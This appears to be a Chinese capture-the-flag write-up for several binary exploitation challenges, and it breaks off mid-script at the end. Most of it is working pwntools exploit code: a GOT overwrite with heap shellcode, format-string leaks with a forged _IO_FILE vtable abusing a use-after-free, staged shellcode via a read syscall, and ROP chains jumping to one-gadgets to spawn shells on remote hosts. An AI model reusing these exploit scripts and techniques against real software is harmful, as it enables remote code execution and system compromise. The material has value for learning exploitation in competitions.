招一位web安全人员交流玩耍, 有意联系 echo -n N2ZlaWxlZUBnbWFpbC5jb20= | base64 -d
add note的功能存在溢出可以覆盖索引数组的下标为负数,可以hijack got表,这里选了close@got,NX关了可以在堆上执行shellcode,用jmp指令连接起来就行
from pwn import *
def add(index,length,content):
p.sendline("1")
sleep(0.5)
p.sendline(str(index))
sleep(0.5)
p.sendline(length)
sleep(0.5)
p.sendline(content)
sleep(0.5)
#p = process("./note")
p = remote("58.20.46.151",41214)
add(0,"13" + "\x00"*8 + p32(0xfffffff3), 'H1\xd2\x90\x90P\xeb\x18')
add(0,"13",'H\x8d=9\x00\x00\x00\xeb\x17')
add(0,"13", '^\xb0;\x0f\x05')
add(0,"13","/bin/sh")
p.sendline("2")
p.interactive()
printf_chk可以用来leak libc、elfbase、heap。fopen会在堆上分配空间存放io file结构体,fclose以后指针没有清空存在uaf,scanf("%1000s",)会先分配一个大堆来存放输入,利用uaf可以在原来的file结构体上伪造一个新的结构体,设置好vtable在fread的时候拿shell
from pwn import *
import struct
_IO_USE_OLD_IO_FILE = False
_BITS = 64
def _u64(data):
return struct.unpack("<Q",data)[0]
def _u32(data):
return struct.unpack("<I",data)[0]
def _u16(data):
return struct.unpack("<H",data)[0]
def _u8(data):
return ord(data)
def _usz(data):
if _BITS == 32:
return _u32(data)
elif _BITS == 64:
return _u64(data)
else:
print("[-] Invalid _BITS")
exit()
def _ua(data):
if _BITS == 32:
return _u32(data)
elif _BITS == 64:
return _u64(data)
else:
print("[-] Invalid _BITS")
exit()
def _p64(data):
return struct.pack("<Q",data)
def _p32(data):
return struct.pack("<I",data)
def _p16(data):
return struct.pack("<H",data)
def _p8(data):
return chr(data)
def _psz(data):
if _BITS == 32:
return _p32(data)
elif _BITS == 64:
return _p64(data)
else:
print("[-] Invalid _BITS")
exit()
def _pa(data):
if _BITS == 32:
return struct.pack("<I", data)
elif _BITS == 64:
return struct.pack("<Q", data)
else:
print("[-] Invalid _BITS")
exit()
class _IO_FILE_plus:
def __init__(self):
self._flags = 0xfbad2887 # High-order word is _IO_MAGIC; rest is flags.
self._IO_read_ptr = 0 # Current read pointer
self._IO_read_end = 0 # End of get area
self._IO_read_base = 0 # Start of putback+get area
self._IO_write_base = 0 # Start of put area
self._IO_write_ptr = 0 # Current put pointer
self._IO_write_end = 0 # End of put area
self._IO_buf_base = 0 # Start of reserve area
self._IO_buf_end = 0 # End of reserve area
# The following fields are used to support backing up and undo.
self._IO_save_base = 0 # Pointer to start of non-current get area
self._IO_backup_base = 0 # Pointer to first valid character of backup area
self._IO_save_end = 0 # Pointer to end of non-current get area
self._markers = 0
self._chain = 0
self._fileno = 0
self._flags2 = 0
self._old_offset = 0 # This used to be _offset but it's too small
# 1+column number of pbase(); 0 is unknown
self._cur_column = 0
self._vtable_offset = 0
self._shortbuf = 0
self._lock = 0
if not _IO_USE_OLD_IO_FILE:
self._offset = 0
self._codecvt = 0
self._wide_data = 0
self._freeres_list = 0
self._freeres_buf = 0
self.__pad5 = 0
self._mode = 0
self._unused2 = [0 for i in range(15 * 4 - 5 * _BITS / 8)]
self.vtable = 0
def tostr(self):
buf = _p64(self._flags & 0xffffffff) + \
_pa(self._IO_read_ptr) + \
_pa(self._IO_read_end) + \
_pa(self._IO_read_base) + \
_pa(self._IO_write_base) + \
_pa(self._IO_write_ptr) + \
_pa(self._IO_write_end) + \
_pa(self._IO_buf_base) + \
_pa(self._IO_buf_end) + \
_pa(self._IO_save_base) + \
_pa(self._IO_backup_base) + \
_pa(self._IO_save_end) + \
_pa(self._markers) + \
_pa(self._chain) + \
_p32(self._fileno) + \
_p32(self._flags2) + \
_p64(self._old_offset) + \
_p16(self._cur_column) + \
_p8(self._vtable_offset) + \
_p8(self._shortbuf)
if _BITS == 64:
buf += _p32(0)
buf += _pa(self._lock)
if not _IO_USE_OLD_IO_FILE:
buf += \
_p64(self._offset) + \
_pa(self._codecvt) + \
_pa(self._wide_data) + \
_pa(self._freeres_list) + \
_pa(self._freeres_buf) + \
_psz(self.__pad5) + \
_p32(self._mode) + \
''.join(map(lambda x:_p8(x), self._unused2)) +\
_pa(self.vtable)
return buf
def __str__(self):
return self.tostr()
def c1():
p.sendline("1")
sleep(0.5)
def c2(payload="1"):
p.sendline("2")
sleep(0.5)
p.sendline(payload)
sleep(0.5)
p.sendline("0")
sleep(0.5)
def c3():
p.sendline("3")
sleep(0.5)
#p = process("./random")#,env = {"LD_PRELOAD": "./libc.so"})
p = remote("58.20.46.151",41963)
libc = ELF("./libc.so")
c1()
c3()
payload = "%p"*393 + "hello1" + "%p" *12 + "hello2" + "%p"
p.sendline("2")
sleep(0.5)
p.sendline(payload)
sleep(0.5)
p.sendline("1")
sleep(0.5)
p.recvuntil("hello1")
addr1 = int(p.recv(14),16)
p.recvuntil("hello2")
addr2 = int(p.recv(14),16)
elf = addr1 - 0x2020B0
libc.address = addr2 - 0x20830
print hex(elf),hex(libc.address)
one = 0xf1147 + libc.address
payload = "%p%p%p%p%p%p%p%p%p1111%s" + p64(elf + 0x2020A0)
p.sendline(payload)
sleep(0.5)
p.sendline("1")
sleep(0.5)
p.recvuntil("1111")
heap = u64(p.recv(6).ljust(8,"\x00"))
print hex(heap)
print "one: " + hex(one)
file = _IO_FILE_plus()
file._lock = heap+0x2000
file.vtable = heap + 0xe0
fake = file.tostr()
vtable = p64(0x00) + p64(one)*0x20
#print fake
p.sendline(fake+vtable)
sleep(0.3)
p.sendline("0")
#gdb.attach(p)
p.interactive()
程序允许输入9字节的shellcode,可以构造一个read系统调用输入新的shellcode覆盖原来的shellcode来拿shell
from pwn import *
context.arch = "amd64"
#p = process("./treasure")
p = remote("58.20.46.148",44112)
s = asm(
'''
push rsi
push rdx
pop rsi
pop rdx
xor rdi,rdi
syscall
'''
)
p.sendlineafter("will you continue?(enter 'n' to quit) :","1")
p.sendafter("start!!!!",s)
nop = asm("nop")
p.sendline(nop*20 + asm(shellcraft.sh()))
p.interactive()
首先需要过check, 暴力跑出一个可行解就行了
#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
char char_set[] = "sABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
char key[8];
unsigned long long val = 0;
void inc_key(){
unsigned long long temp = val;
for(int i=0; i<8; ++i){
unsigned int cur_idx = temp % 53;
key[i] = *(char *)(char_set + cur_idx);
temp = temp / 53;
}
val++;
}
long long hash(){
int64_t v0; // ST08_8
int v2; // [rsp+10h] [rbp-10h]
int i; // [rsp+14h] [rbp-Ch]
int64_t v4; // [rsp+18h] [rbp-8h]
v4 = 0LL;
v2 = strlen(key);
for ( i = 0; i < v2; ++i )
{
v0 = 117 * v4 + key[i];
v4 = v0
- 0x1D5E0C579E0LL
* (((long long)(((__uint128_t)(-8396547321047930811LL * v0) >> 64) + v0) >> 40)
- (v0 >> 63));
}
return v4;
}
int main(){
char_set[0] = '\x00';
long long ret;
int iter =0;
unsigned long long total = 53^8;
while(key[8] != 'z' ){
iter++;
// puts(key);
if ( hash() == 0x53CBEB035LL ){
break;
}
inc_key();
}
if(key[8] == 0xff){
puts("no result");
}
puts(key);
return 0;
}
然后就是简单的栈溢出rop, 先leak puts 的地址, 然后再跳到one gadget即可
from pwn import *
import time
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
ru = lambda x : io.recvuntil(x)
sn = lambda x : io.send(x)
rl = lambda : io.recvline()
sl = lambda x : io.sendline(x)
rv = lambda x : io.recv(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
ip = "58.20.46.148"
port = 38733
LOCAL = False
X86_32 = False
break_points = [0x4008AB]
b_str = ''
for break_point in break_points:
b_str += "b *" + hex(break_point ) + '\n'
# libc = ELF('libc.so.6') if os.path.exists('libc.so.6') else elf.libc
elf = ELF("./"+filename)
if LOCAL:
io = process("./" + filename)
libc = elf.libc
else:
io = remote(ip, port)
libc = ELF('libc.so.6')
def wait(t=0.3):
sleep(t)
def mydebug():
gdb.attach(io, b_str)
key = "wyBTs"
PrdiR = 0x400983
got_puts = 0x601018
puts_off = libc.symbols['puts']
payload = 'a'*0x70 + p64(got_puts+0x70) + p64(PrdiR) + p64(got_puts) + p64(0x40082d)
wait()
sl(key)
wait()
sl(payload)
ru('Success\n')
res = rl()[0:6]
puts_addr = u64(res+'\x00\x00')
log.info('puts_addr: '+hex(puts_addr))
libc_base = puts_addr - puts_off
log.info('libc base: '+hex(libc_base))
one = libc_base + 0x4526a
wait()
sl(p64(one))
io.interactive()
首先也是过两个check, 利用存在的整形溢出很好构造. 然后就可以任意地址写了.
第一次先同时leak puts 和 setbuf的地址, 然后算出libc.
第二次根据libc和leak的地址算出one gadget的地址, 跳到 one gadget即可
首先是计算绕过check的输入
#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
int target = 0x23;
int func(int v3, int i){
return ((i>>4) + v3*4) ^ (i<<10);
}
int main(){
int down = 0x21;
int up = 127;
for(char i=down; i<up; ++i){
for(char j=down; j<up; ++j){
for(char k=down; k<up; ++k){
for(char l=128; l<255; ++l){
int v3 = 0;
v3 = func(v3, (int)i);
v3 = func(v3, (int)j);
v3 = func(v3, (int)k);
v3 = func(v3, (int)l);
int ret = v3 % 47 + (v3 % 47 < 0 ? 0x2F : 0);
if(ret == target){
printf("%d %d %d %x\n", i, j, k, l);
return 0;
}
}
}
}
}
puts("no result");
return 0;
}
然后getshell
from pwn import *
import time
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'info'
ru = lambda x : io.recvuntil(x)
sn = lambda x : io.send(x)
rl = lambda : io.recvline()
sl = lambda x : io.sendline(x)
rv = lambda x : io.recv(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
filename = "./overInt"
ip = "58.20.46.149"
port = 35533
LOCAL = True
X86_32 = False
break_points = [0x0400913, 0x4009AC, 0x400AA6]
b_str = ''
for break_point in break_points:
b_str += "b *" + hex(break_point ) + '\n'
io = remote("58.20.46.149", 35533)
# io = process("./overInt")
def wait(t=0.3):
sleep(t)
def mydebug():
if(not LOCAL):
return
gdb.attach(io, b_str)
def func(v3, i):
return ((i>>4) + (